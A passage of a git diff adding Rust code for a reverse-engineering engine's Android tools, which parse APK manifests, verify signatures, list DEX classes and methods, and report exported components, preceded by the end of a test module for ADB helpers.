// No adb → provider error precedes consent; the effect flags still mark it destructive. + let spec = e.registry().get("adb_app_install").unwrap(); + assert!(spec.effects.needs_consent()); + assert!(e.registry().get("adb_activity_open").unwrap().effects.needs_consent()); + return; + } + let err = call_err(&e, "adb_app_install", json!({"serial": "emulator-5554", "apk_path": "/tmp/x.apk"})); + assert!(matches!(err.code, ErrorCode::ConsentRequired | ErrorCode::NotFound | ErrorCode::EngineMissing)); + } + + /// #235: Android's reply for a missing package names it, and was read as the package. + #[test] + fn a_missing_package_is_not_found() { + assert!(!package_found("Unable to find package: com.example.missing\n", "com.example.missing")); + assert!(!package_found("Packages:\n Package [com.example.other] (1a2b):\n", "com.example")); + assert!(package_found("Packages:\n Package [com.example.app] (1a2b3c):\n versionName=1.0\n", "com.example.app")); + } + + #[test] + fn parsers_and_fragments() { + let fields = grep_fields(" versionName=1.2.3 flags=0x1\n versionCode=42 minSdk=21\n", &["versionName=", "versionCode=", "minSdk="]); + assert_eq!(fields.get("versionName").and_then(Value::as_str), Some("1.2.3")); + assert_eq!(fields.get("versionCode").and_then(Value::as_str), Some("42")); + assert_eq!(fields.get("minSdk").and_then(Value::as_str), Some("21")); + + let ls = parse_ls("total 8\n-rw-rw-rw- 1 root root 1024 2024-01-01 12:00 file.txt\ndrwxr-xr-x 2 root root 4096 2024-01-01 12:00 dir\n"); + assert_eq!(ls.len(), 2); + assert_eq!(ls[0].size, Some(1024)); + assert_eq!(ls[0].name, "file.txt"); + + assert_eq!(extra_fragment("k", ExtraType::Boolean, "true").unwrap(), "--ez k true"); + assert_eq!(extra_fragment("k", ExtraType::Int, "5").unwrap(), "--ei k 5"); + assert!(extra_fragment("k", ExtraType::Int, "notnum").is_err()); + assert_eq!(extra_fragment("k", ExtraType::String, "a b").unwrap(), "--es k 'a b'"); + } +} diff --git a/desktop/crates/engine/src/tools/android_tools.rs b/desktop/crates/engine/src/tools/android_tools.rs new file mode 100644 index 0000000..e237452 --- /dev/null +++ b/desktop/crates/engine/src/tools/android_tools.rs @@ -0,0 +1,1581 @@ +//! Android apps with built-in parsers: the APK (manifest from binary XML, permissions, +//! components, signing certificates, DEX files, native libraries), DEX classes and methods with a +//! smali-like bytecode listing, cross-DEX references, compiled resources per locale, and whether +//! the optional external decoders (JADX for Java source, Apktool) are available. + +use super::artifact_tools::{fresh_temp_dir, rel_to}; +use super::native_common::{page, spec}; +use super::static_input::{self, Input, builder, format_err}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{ + Authority, Confidence, Coverage, CoverageStatus, Environment, ErrorCode, EvidenceBuilder, Limitation, Location, Subject, ToolError, sha256_hex, +}; +use craft_anything_formats::{apk_sign, arsc, axml, der, dex, dex_ops, verify, zip}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet}; +use std::path::{Path, PathBuf}; +use std::time::Duration; + +// Flutter/Dart snapshots and the JEB client live in submodules. +pub mod flutter; +pub mod jeb; + +pub fn specs() -> Vec { + use Toolset::Android; + let e = Effects::EVIDENCE; + let mut v = vec![ + spec( + "android_package_show", + "Android app package", + "Read an APK with built-in parsers: the manifest (package, versions, SDK levels, permissions, components with exported state and intent filters, application flags) decoded from binary XML, signing certificates (v1 PKCS#7 files and the v2/v3 signing block; signatures and content digests are verified, but not whether the certificate is one you trust), DEX files and native libraries per ABI.", + "See what an Android app is called, what it asks permission for, its screens and services, and who signed it.", + Android, + e, + Requires::Nothing, + schema_of::, + android_package_show, + ), + spec( + "android_classes_find", + "Find Android classes", + "Search the classes defined in an APK's DEX files (or a bare .dex) by name; an empty query lists every class. Paged (offset/limit).", + "Find the pieces of code inside an Android app by name.", + Android, + e, + Requires::Nothing, + schema_of::, + android_classes_find, + ), + spec( + "android_class_show", + "Android class", + "One class from an APK or .dex: superclass, interfaces, access flags, source file, annotations, fields and methods with Java-style signatures and overload indexes.", + "Look inside one piece of an Android app's code.", + Android, + e, + Requires::Nothing, + schema_of::, + android_class_show, + ), + spec( + "android_method_show", + "Android method bytecode", + "A method's Dalvik bytecode as a smali-like listing with registers, resolved strings, types, fields and methods, branch targets, switch and array payloads and try/catch handlers (built-in decoder). With java_source=true and JADX installed, also attaches JADX's Java decompilation of the class.", + "Read the instructions of one function in an Android app.", + Android, + e.union(Effects::LAUNCHES_PROCESS).union(Effects::WRITES_FILESYSTEM), + Requires::Nothing, + schema_of::, + android_method_show, + ), + spec( + "android_class_users_find", + "Who uses this Android class?", + "Every instruction in every DEX file of an APK that calls, reads, writes, creates, casts to or loads a class (or only calls one of its methods when method_name is given), with the calling method and code offset. Paged.", + "Find every place in an Android app that uses a piece of code.", + Android, + e, + Requires::Nothing, + schema_of::, + android_class_users_find, + ), + spec( + "android_resources_read", + "Android resources", + "Decode resources.arsc with the built-in parser: packages, resource types and their configurations (locale, density, night mode, SDK…), every entry with typed values and style bags, string resources per locale; optionally decode compiled res/*.xml files to text. Paged.", + "See an Android app's text in every language, its colours, styles and layouts.", + Android, + e, + Requires::Nothing, + schema_of::, + android_resources_read, + ), + spec( + "android_components_list", + "Android app components", + "The activities, activity aliases, services, receivers and providers an APK's manifest declares: exported state and where it comes from, permissions, intent filters (actions, categories, data), and a plain reachable_from_outside flag with who_can_reach (any_app, apps_with_permission or own_app_only), following the manifest's implicit export rules for its targetSdk. Filter by kind or reachable_only; paged. Reads the manifest only; components an app registers while running aren't in it.", + "See which parts of an Android app other apps can start or talk to.", + Android, + e | Effects::CARRIES_TARGET_CONTENT, + Requires::Nothing, + schema_of::, + android_components_list, + ), + spec( + "engines_apktool_check", + "Is Apktool available?", + "Report whether Apktool is installed (Settings path, managed engine store, then PATH) and its version. REI Reverse Engineer's built-in resource and manifest decoders need nothing installed; Apktool is optional.", + "Check whether the optional Apktool helper is installed.", + Android, + e.union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + engines_apktool_check, + ), + ]; + v.extend(flutter::specs()); + v.extend(jeb::specs()); + v +} + +// --------------------------------------------------------------------------------------------- +// Params + +fn d_true() -> bool { + true +} +fn d_limit() -> usize { + 200 +} +fn d_insn_limit() -> usize { + 2000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PackageParams { + /// Absolute path of the APK; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Include the decoded manifest as XML text (default true). + #[serde(default = "d_true")] + pub include_manifest_xml: bool, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SearchParams { + /// Absolute path of the APK or .dex; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Case-insensitive part of a class name (dotted or descriptor form). Empty lists every class. + #[serde(default)] + pub query: String, + #[serde(default)] + pub offset: usize, + /// Classes per page (1–5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ClassParams { + #[serde(default)] + pub path: Option, + /// `com.example.Main`, `com/example/Main` or `Lcom/example/Main;`. + pub class_name: String, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct MethodParams { + #[serde(default)] + pub path: Option, + pub class_name: String, + pub method_name: String, + /// Which overload (0-based, in declaration order) when the name is overloaded; 0 when omitted. + #[serde(default)] + pub overload_index: Option, + /// Also ask JADX (if installed) for Java source of the class. Default false. + #[serde(default)] + pub java_source: bool, + /// First instruction of the page. + #[serde(default)] + pub offset: usize, + /// Instructions per page (1–5000, default 2000). + #[serde(default = "d_insn_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ReferencesParams { + #[serde(default)] + pub path: Option, + pub class_name: String, + /// Only calls to methods with this name. + #[serde(default)] + pub method_name: Option, + #[serde(default)] + pub offset: usize, + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ResourcesParams { + /// Absolute path of the APK or a resources.arsc file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Include string resources grouped by locale (default true). + #[serde(default = "d_true")] + pub with_strings: bool, + /// Only this locale (`fr`, `es-rMX`; `default` for the unqualified one). + #[serde(default)] + pub locale: Option, + /// Only these locales, each with its own string table (`["de", "fr", "default"]`); adds to `locale`. + #[serde(default)] + pub only_locales: Vec, + /// Only entries of this resource type (`string`, `color`, `style`…). + #[serde(default)] + pub type_name: Option, + /// Compiled XML files inside the APK to decode to text (e.g. `res/layout/main.xml`), at most 16. + #[serde(default)] + pub xml_files: Vec, + #[serde(default)] + pub offset: usize, + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ClientParams {} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ComponentsParams { + /// Absolute path of the APK; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Only this kind: activity, activity-alias, service, receiver or provider. + #[serde(default)] + pub kind: Option, + /// Only components other apps can reach. + #[serde(default)] + pub reachable_only: bool, + #[serde(default)] + pub offset: usize, + /// Rows per page (1..=5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, +} + +// --------------------------------------------------------------------------------------------- +// Loading + +/// Biggest APK read. +const MAX_APK: u64 = 1 << 30; +/// Most strings listed per locale (the rest stay in the entries). +const MAX_LOCALE_STRINGS: usize = 5000; +/// Biggest single member decompressed. +const MAX_MEMBER: u64 = 256 << 20; +/// Most DEX bytes decompressed in total. +const MAX_DEX_TOTAL: u64 = 768 << 20; + +struct Pkg { + input: Input, + zip: Option, + /// (name, bytes) + dexes: Vec<(String, Vec)>, + warnings: Vec, +} + +fn is_root_dex(name: &str) -> bool { + name.strip_prefix("classes").and_then(|r| r.strip_suffix(".dex")).is_some_and(|n| n.chars().all(|c| c.is_ascii_digit())) +} + +fn load_pkg(ctx: &Ctx<'_>, path: Option<&str>, want_dex: bool) -> Result { + let input = static_input::load(ctx, path, MAX_APK)?; + let mut pkg = Pkg { zip: None, dexes: Vec::new(), warnings: Vec::new(), input }; + if dex::is_dex(&pkg.input.bytes) { + pkg.dexes.push((pkg.input.name.clone(), pkg.input.bytes.to_vec())); + return Ok(pkg); + } + if !zip::looks_like_zip(&pkg.input.bytes) { + return Err(ToolError::unsupported(format!("{} is not an APK or DEX file", pkg.input.name)) + .with_remediation("Pass an .apk (or a classes.dex); run triage to see what this file is.")); + } + let z = + zip::parse(&pkg.input.bytes, 500_000).map_err(|e| ToolError::new(ErrorCode::NotSupported, format!("Couldn't read the APK's ZIP directory: {e}")))?; + if want_dex { + let mut total = 0u64; + let mut names: Vec<&zip::ZipEntry> = z.entries.iter().filter(|e| is_root_dex(&e.name)).collect(); + // classes.dex, classes2.dex, classes3.dex … in load order. + names.sort_by_key(|e| e.name.trim_start_matches("classes").trim_end_matches(".dex").parse::().unwrap_or(1)); + for e in names { + ctx.cancel.check()?; + if total.saturating_add(e.uncompressed_size) > MAX_DEX_TOTAL { + pkg.warnings.push(format!("{} skipped: the DEX size budget ({MAX_DEX_TOTAL} bytes) is used up", e.name)); + continue; + } + match zip::read_entry(&pkg.input.bytes, e, MAX_MEMBER) { + Ok(b) => { + total += b.len() as u64; + pkg.dexes.push((e.name.clone(), b)); + } + Err(err) => pkg.warnings.push(format!("{}: {err}", e.name)), + } + } + } + pkg.zip = Some(z); + Ok(pkg) +} + +fn member(pkg: &Pkg, name: &str) -> Option, String>> { + let z = pkg.zip.as_ref()?; + let e = z.entries.iter().find(|e| e.name == name)?; + Some(zip::read_entry(&pkg.input.bytes, e, MAX_MEMBER).map_err(|e| e.to_string())) +} + +fn parse_dexes(pkg: &Pkg) -> (Vec<(&str, dex::Dex<'_>)>, Vec) { + let mut out = Vec::new(); + let mut warnings = pkg.warnings.clone(); + for (name, bytes) in &pkg.dexes { + match dex::parse(bytes) { + Ok(d) => { + warnings.extend(d.warnings.iter().map(|w| format!("{name}: {w}"))); + out.push((name.as_str(), d)); + } + Err(e) => warnings.push(format!("{name}: {e}")), + } + } + (out, warnings) +} + +fn no_dex_error(pkg: &Pkg) -> ToolError { + ToolError::new(ErrorCode::NotSupported, format!("{} has no readable classes*.dex", pkg.input.name)) + .with_remediation("Check the APK is complete; split APKs keep code in the base APK.") +} + +fn warn_lims(warnings: &[String]) -> Vec { + warnings.iter().take(50).map(|w| Limitation::new("parse_warning", w.clone())).collect() +} + +fn ev(ctx: &Ctx<'_>, op: &str, pkg: &Pkg, params: Value) -> EvidenceBuilder { + builder(ctx, op, pkg.input.subject.clone(), params) + .authority(Authority::OriginalFiles) + .location(Location::new("path", pkg.input.path.display().to_string())) +} + +/// Find a class across the DEX files: (dex index, class def). +fn find_class<'a>(dexes: &'a [(&'a str, dex::Dex<'a>)], name: &str) -> Option<(usize, &'a dex::ClassDef)> { + dexes.iter().enumerate().find_map(|(i, (_, d))| d.find_class(name).map(|c| (i, c))) +} + +fn class_not_found(dexes: &[(&str, dex::Dex<'_>)], name: &str) -> ToolError { + let simple = name.rsplit(['.', '/']).next().unwrap_or(name).trim_end_matches(';').to_ascii_lowercase(); + let mut similar = Vec::new(); + for (_, d) in dexes { + for c in &d.classes { + let n = dex::java_name(&d.class_name(c)); + if !simple.is_empty() && n.to_ascii_lowercase().contains(&simple) && similar.len() < 10 { + similar.push(n); + } + } + } + ToolError::invalid(format!("No class {name} is defined in this package")) + .with_remediation("Find the exact name with android_classes_find (classes from the Android framework are not inside the APK).") + .with_details(json!({"reason": "class_not_found", "similar": similar})) +} + +// --------------------------------------------------------------------------------------------- +// android_package_show + +fn cert_json(der_bytes: &[u8]) -> Value { + match der::certificate(der_bytes) { + Some(c) => json!({ + "subject": c.subject, "issuer": c.issuer, "serial": c.serial, "not_before": c.not_before, "not_after": c.not_after, + "signature_algorithm": c.signature_algorithm, "public_key_algorithm": c.public_key_algorithm, "version": c.version, + "sha256": sha256_hex(der_bytes), "bytes": der_bytes.len(), + }), + None => json!({"sha256": sha256_hex(der_bytes), "bytes": der_bytes.len(), "error": "not a readable X.509 certificate"}), + } +} + +fn android_package_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PackageParams = parse_params(params)?; + let pkg = load_pkg(ctx, p.path.as_deref(), true)?; + let Some(z) = pkg.zip.as_ref() else { + return Err(ToolError::unsupported(format!("{} is a bare DEX file, not an APK", pkg.input.name)) + .with_remediation("Use android_classes_find or android_class_show for DEX files.")); + }; + let mut warnings = pkg.warnings.clone(); + let mut lims = Vec::new(); + // Manifest + let (manifest, manifest_xml) = match member(&pkg, "AndroidManifest.xml") { + Some(Ok(b)) => match axml::parse(&b) { + Ok(doc) => { + warnings.extend(doc.warnings.iter().map(|w| format!("AndroidManifest.xml: {w}"))); + let xml = p.include_manifest_xml.then(|| doc.to_xml(256 * 1024)); + (Some(axml::manifest(&doc)), xml) + } + Err(e) => { + warnings.push(format!("AndroidManifest.xml: {e}")); + (None, None) + } + }, + Some(Err(e)) => { + warnings.push(format!("AndroidManifest.xml: {e}")); + (None, None) + } + None => { + lims.push(Limitation::new( + "no_manifest", + "The archive has no AndroidManifest.xml at its root; it may not be an APK (or it is a split/bundle module).", + )); + (None, None) + } + }; + // Signing. A reader for a ZIP entry's uncompressed bytes (used by JAR v1 digest checks). + let read_entry = |name: &str| -> Option> { + let e = z.entries.iter().find(|e| e.name == name)?; + zip::read_entry(&pkg.input.bytes, e, 16 << 20).ok() + }; + let manifest_mf = read_entry("META-INF/MANIFEST.MF"); + let mut v1 = Vec::new(); + let mut v1_any_valid = false; + for e in z.entries.iter().filter(|e| { + let n = e.name.to_ascii_uppercase(); + n.starts_with("META-INF/") && !n.trim_start_matches("META-INF/").contains('/') && (n.ends_with(".RSA") || n.ends_with(".DSA") || n.ends_with(".EC")) + }) { + match zip::read_entry(&pkg.input.bytes, e, 4 << 20) { + Ok(b) => { + let certs: Vec = der::pkcs7_certificates(&b).into_iter().map(cert_json).collect(); + // The matching .SF file (same base name) is the signed content. + let sf_name = { + let base = e.name.rsplit_once('.').map(|(s, _)| s).unwrap_or(&e.name); + format!("{base}.SF") + }; + let sf = read_entry(&sf_name); + let pkcs7 = sf.as_deref().and_then(|sf| verify::verify_pkcs7_detached(sf, &b)); + let integrity = match (&manifest_mf, &sf) { + (Some(mf), Some(sf)) => Some(verify::verify_jar_integrity(mf, sf, &read_entry)), + _ => None, + }; + if pkcs7.as_ref().is_some_and(|p| p.signature_valid.is_valid()) + && integrity.as_ref().is_some_and(|i| i.manifest_digest_matches == Some(true) && i.files_mismatched == 0 && i.files_matched > 0) + { + v1_any_valid = true; + } + v1.push(json!({"file": e.name, "bytes": b.len(), "certificates": certs, "signature_file": sf_name, "pkcs7": pkcs7, "integrity": integrity})); + } + Err(err) => warnings.push(format!("{}: {err}", e.name)), + } + } + let block = apk_sign::parse(&pkg.input.bytes); + let mut schemes = Vec::new(); + if !v1.is_empty() { + schemes.push("v1".to_string()); + } + let mut any_scheme_verified = false; + let block_json = block.as_ref().map(|b| { + warnings.extend(b.warnings.iter().map(|w| format!("signing block: {w}"))); + for s in &b.signers { + if !schemes.iter().any(|x| x == s.scheme) { + schemes.push(s.scheme.to_string()); + } + } + json!({ + "offset": b.offset, "size": b.size, "entries": b.entries, + "signers": b.signers.iter().map(|s| { + let v = verify::verify_apk_signer(&pkg.input.bytes, b.offset, s); + if v.verified { + any_scheme_verified = true; + } + json!({ + "scheme": s.scheme, "digests": s.digests, "signature_algorithms": s.signature_algorithms, + "min_sdk": s.min_sdk, "max_sdk": s.max_sdk, "public_key_bytes": s.public_key_bytes, + "certificates": s.certificates.iter().map(|c| cert_json(c)).collect::>(), + "verification": v, + }) + }).collect::>(), + }) + }); + lims.push(Limitation::new( + "verification_scope", + "Signatures ARE verified cryptographically here (v2/v3 signature over the signed data plus a recomputed APK content digest; v1 PKCS#7 over the .SF plus MANIFEST.MF per-file digests). NOT checked: certificate revocation, v3 key-rotation lineage/proof-of-rotation, rollback protection, source-stamp, and whether the signing certificate is one you trust (the certificate SHA-256 fingerprint is reported so you can compare it yourself).", + )); + // DEX + let dex_info: Vec = pkg + .dexes + .iter() + .map(|(name, b)| match dex::parse(b) { + Ok(d) => json!({ + "name": name, "bytes": b.len(), "sha256": sha256_hex(b), "version": d.header.version, "checksum_ok": d.header.checksum_ok, + "classes": d.header.class_defs, "methods": d.header.method_ids, "fields": d.header.field_ids, "strings": d.header.string_ids, + }), + Err(e) => json!({"name": name, "bytes": b.len(), "sha256": sha256_hex(b), "error": e.to_string()}), + }) + .collect(); + // Native libraries + let mut libs: BTreeMap> = BTreeMap::new(); + for e in z.entries.iter().filter(|e| !e.is_dir) { + let parts: Vec<&str> = e.name.split('/').collect(); + if let ["lib", abi, file] = parts.as_slice() + && libs.values().map(Vec::len).sum::() < 10_000 + { + libs.entry((*abi).to_string()).or_default().push(json!({"name": file, "bytes": e.uncompressed_size, "compression": e.method_name()})); + } + } + let assets = z.entries.iter().filter(|e| e.name.starts_with("assets/")).count(); + let res_files = z.entries.iter().filter(|e| e.name.starts_with("res/")).count(); + let has_arsc = z.entries.iter().any(|e| e.name == "resources.arsc"); + let m = manifest.clone().unwrap_or_default(); + let sig_desc = if schemes.is_empty() { + "no signature found".to_string() + } else { + let verified = any_scheme_verified || v1_any_valid; + format!("scheme {} ({})", schemes.join(", "), if verified { "cryptographically VERIFIED" } else { "present but NOT verified" }) + }; + let summary = format!( + "{} ({}, version {}, SDK {}–{}): {} permissions, {} components ({} exported), {} DEX file(s), native code for {}; signed with {}.", + m.package.as_deref().unwrap_or("unknown package"), + pkg.input.name, + m.version_name.as_deref().unwrap_or("?"), + m.min_sdk.as_deref().unwrap_or("?"), + m.target_sdk.as_deref().unwrap_or("?"), + m.uses_permissions.len(), + m.components.len(), + m.components.iter().filter(|c| c.exported).count(), + pkg.dexes.len(), + if libs.is_empty() { "no ABI".to_string() } else { libs.keys().cloned().collect::>().join(", ") }, + sig_desc, + ); + lims.extend(warn_lims(&warnings)); + let b = ev(ctx, "android_package_show", &pkg, json!({"path": p.path, "include_manifest_xml": p.include_manifest_xml})) + .result(json!({ + "package": m.package, "version_code": m.version_code, "version_name": m.version_name, + "min_sdk": m.min_sdk, "target_sdk": m.target_sdk, "max_sdk": m.max_sdk, + "manifest": manifest, "manifest_xml": manifest_xml, + "signing": {"schemes": schemes, "v1": v1, "signing_block": block_json}, + "dex": dex_info, "native_libraries": libs, + "entries": z.entries.len(), "assets": assets, "res_files": res_files, "has_resources_arsc": has_arsc, + "warnings": warnings, + })) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(Coverage::complete(z.entries.len() as u64)); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// Classes + +#[derive(Serialize)] +struct ClassRow { + name: String, + descriptor: String, + dex: String, + access: Vec<&'static str>, + superclass: Option, + fields: usize, + methods: usize, +} + +const COMPONENT_KINDS: [&str; 5] = ["activity", "activity-alias", "service", "receiver", "provider"]; + +/// The permission that guards a component, its own or else the application's, and whether anything +/// does. A provider's separate read and write permissions count only when both are set. +fn component_guard<'a>(c: &'a axml::Component, m: &'a axml::Manifest) -> (Option<&'a String>, bool) { + let permission = c.permission.as_ref().or(m.application.permission.as_ref()); + (permission, permission.is_some() || (c.read_permission.is_some() && c.write_permission.is_some())) +} + +/// One component with what decides who can reach it, for `android_components_list`. +fn component_row(c: &axml::Component, m: &axml::Manifest, app_enabled: bool) -> Value { + let export_source = match (c.exported_attribute, c.exported) { + (Some(_), _) => "explicit", + (None, true) if c.kind == "provider" => "default_for_old_target_sdk", + (None, true) => "implied_by_intent_filter", + (None, false) => "default_not_exported", + }; + let (permission, guarded) = component_guard(c, m); + let who_can_reach = match (c.exported, guarded) { + (false, _) => "own_app_only", + (true, true) => "apps_with_permission", + (true, false) => "any_app", + }; + let level = permission.and_then(|p| m.declared_permissions.iter().find(|d| d.name == *p)).and_then(|d| d.protection_level.clone()); + json!({ + "kind": c.kind, + "name": c.name, + "reachable_from_outside": c.exported, + "who_can_reach": who_can_reach, + "exported": c.exported, + "exported_attribute": c.exported_attribute, + "export_source": export_source, + "permission": permission, + "permission_from_application": c.permission.is_none() && permission.is_some(), + "permission_protection_level": level, + "read_permission": c.read_permission, + "write_permission": c.write_permission, + "enabled_attribute": c.enabled, + "disabled_in_manifest": !app_enabled || c.enabled == Some(false), + "authorities": c.authorities, + "intent_filters": c.intent_filters, + }) +} + +fn android_components_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ComponentsParams = parse_params(params)?; + if let Some(k) = p.kind.as_deref() + && !COMPONENT_KINDS.contains(&k) + { + return Err(ToolError::invalid(format!("kind must be one of {}", COMPONENT_KINDS.join(", ")))); + } + let pkg = load_pkg(ctx, p.path.as_deref(), false)?; + if pkg.zip.is_none() { + return Err( + ToolError::unsupported(format!("{} is a bare DEX file, which has no manifest", pkg.input.name)).with_remediation("Pass the .apk it came from.") + ); + } + let bytes = match member(&pkg, "AndroidManifest.xml") { + Some(Ok(b)) => b, + Some(Err(e)) => return Err(ToolError::new(ErrorCode::NotSupported, format!("Couldn't read AndroidManifest.xml: {e}"))), + None => { + return Err(ToolError::new(ErrorCode::NotFound, format!("{} has no AndroidManifest.xml", pkg.input.name)) + .with_remediation("Check it's an APK; run core_target_triage to see what it is.")); + } + }; + let doc = axml::parse(&bytes).map_err(|e| format_err(e, "a binary AndroidManifest.xml"))?; + let m = axml::manifest(&doc); + let rows: Vec = m + .components + .iter() + .filter(|c| p.kind.as_deref().is_none_or(|k| c.kind == k)) + .filter(|c| !p.reachable_only || c.exported) + .map(|c| component_row(c, &m, m.application.enabled != Some(false))) + .collect(); + let mut counts: BTreeMap<&str, (usize, usize)> = BTreeMap::new(); + for c in &m.components { + let slot = counts.entry(c.kind.as_str()).or_insert((0, 0)); + slot.0 += 1; + slot.1 += usize::from(c.exported); + } + let by_kind: BTreeMap<&str, Value> = counts.iter().map(|(k, (n, r))| (*k, json!({"total": n, "reachable_from_outside": r}))).collect(); + let reachable = m.components.iter().filter(|c| c.exported).count(); + let open = m.components.iter().filter(|c| c.exported && !component_guard(c, &m).1).count(); + let (items, cov) = page(&rows, p.offset, p.limit); + + let target = m.target_sdk.as_deref().and_then(|s| s.parse::().ok()); + let rule = match target { + Some(t) => format!("This app targets SDK {t}. "), + None => "The manifest states no targetSdk the reader could use, so the older rules were applied. ".to_string(), + }; + let mut lims = vec![ + Limitation::new( + "implicit_export_rules", + format!( + "{rule}With no android:exported value, a component with intent filters is exported below SDK 31 (from 31 on, Android refuses to install such an app), other components aren't, and a provider is exported up to SDK 16 regardless. The rule goes by the app's targetSdk as read here." + ), + ), + Limitation::new( + "manifest_only", + "This reads the manifest alone: receivers registered while the app runs aren't in it, code can check callers itself, and a declared permission's strength depends on its protection level.", + ), + ]; + let unset_after_31 = + target.is_some_and(|t| t >= 31) && m.components.iter().any(|c| c.exported_attribute.is_none() && !c.intent_filters.is_empty() && c.kind != "provider"); + if unset_after_31 { + lims.push(Limitation::new( + "missing_exported_attribute", + "A component has intent filters and no android:exported value although the app targets SDK 31 or later. Android refuses to install that; it's shown here as not exported.", + )); + } + if m.components.iter().any(|c| c.enabled == Some(false)) || m.application.enabled == Some(false) { + lims.push(Limitation::new("disabled_components", "Components the manifest disables are still listed: the app can enable them while it runs.")); + } + lims.extend(warn_lims(&doc.warnings)); + let summary = + format!("{} component(s) in the manifest: {reachable} reachable from outside the app, {open} of those with no permission asked.", m.components.len()); + let e = ev(ctx, "android_components_list", &pkg, serde_json::to_value(&p).unwrap_or(Value::Null)) + .result(json!({ + "path": pkg.input.path, + "package": m.package, + "target_sdk": m.target_sdk, + "min_sdk": m.min_sdk, + "total": m.components.len(), + "matching": rows.len(), + "by_kind": by_kind, + "reachable_from_outside": reachable, + "reachable_with_no_permission": open, + "components": items, + })) + .summary(summary) + .confidence(if target.is_some() { Confidence::Observed } else { Confidence::Inferred }) + .target_content(true) + .limitations(lims) + .coverage(cov) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn android_classes_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SearchParams = parse_params(params)?; + let pkg = load_pkg(ctx, p.path.as_deref(), true)?; + let (dexes, warnings) = parse_dexes(&pkg); + if dexes.is_empty() { + return Err(no_dex_error(&pkg)); + } + let q = p.query.trim().to_ascii_lowercase(); + let mut rows = Vec::new(); + let mut total_classes = 0usize; + for (name, d) in &dexes { + for (i, c) in d.classes.iter().enumerate() { + if i % 1024 == 0 { + ctx.cancel.check()?; + } + total_classes += 1; + let desc = d.class_name(c); + let java = dex::java_name(&desc); + if !q.is_empty() && !java.to_ascii_lowercase().contains(&q) && !desc.to_ascii_lowercase().contains(&q) { + continue; + } + let cd = d.class_data(c); + rows.push(ClassRow { + name: java, + descriptor: desc, + dex: (*name).to_string(), + access: dex::access_flags(c.access, "class"), + superclass: (c.superclass_idx != dex::NO_INDEX).then(|| dex::java_name(&d.type_desc(c.superclass_idx))), + fields: cd.static_fields.len() + cd.instance_fields.len(), + methods: cd.direct_methods.len() + cd.virtual_methods.len(), + }); + } + } + rows.sort_by(|a, b| a.name.cmp(&b.name)); + let (slice, cov) = page(&rows, p.offset, p.limit); + let summary = format!( + "{} of {} classes{} in {} DEX file(s); showing {}.", + rows.len(), + total_classes, + if q.is_empty() { String::new() } else { format!(" match \"{}\"", p.query.trim()) }, + dexes.len(), + slice.len() + ); + let b = ev(ctx, "android_classes_find", &pkg, json!({"path": p.path, "query": p.query, "offset": p.offset, "limit": p.limit})) + .result(json!({"query": p.query, "matches": rows.len(), "classes_total": total_classes, "dex_files": dexes.iter().map(|(n, _)| *n).collect::>(), "classes": slice})) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(warn_lims(&warnings)) + .coverage(cov); + Ok(ToolOutput::evidence(b.build()?)) +} + +fn method_rows(d: &dex::Dex<'_>, cd: &dex::ClassData) -> Vec { + let mut seen: BTreeMap = BTreeMap::new(); + let mut out = Vec::new(); + for (kind, list) in [("direct", &cd.direct_methods), ("virtual", &cd.virtual_methods)] { + for m in list.iter().take(20_000) { + let name = d.method_name(m.method_idx).to_string(); + let idx = seen.entry(name.clone()).or_insert(0); + let code = d.code(m.code_off); + out.push(json!({ + "name": name, "overload_index": *idx, "kind": kind, + "signature": d.method_signature(m), "reference": d.method_ref(m.method_idx), + "access": dex::access_flags(m.access, "method"), + "code_units": code.as_ref().map(|c| c.insns.len()), "registers": code.as_ref().map(|c| c.registers), + "try_blocks": code.as_ref().map(|c| c.tries.len()), + })); + *idx += 1; + } + } + out +} + +/// The methods named `name` in declaration order (direct first, then virtual). +fn overloads(d: &dex::Dex<'_>, cd: &dex::ClassData, name: &str) -> Vec { + cd.direct_methods.iter().chain(&cd.virtual_methods).filter(|m| d.method_name(m.method_idx) == name).copied().collect() +} + +fn android_class_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ClassParams = parse_params(params)?; + let pkg = load_pkg(ctx, p.path.as_deref(), true)?; + let (dexes, warnings) = parse_dexes(&pkg); + if dexes.is_empty() { + return Err(no_dex_error(&pkg)); + } + let (di, c) = find_class(&dexes, &p.class_name).ok_or_else(|| class_not_found(&dexes, &p.class_name))?; + let Some((dex_name, d)) = dexes.get(di) else { return Err(ToolError::internal("class index out of range")) }; + let cd = d.class_data(c); + let fields: Vec = [("static", &cd.static_fields), ("instance", &cd.instance_fields)] + .iter() + 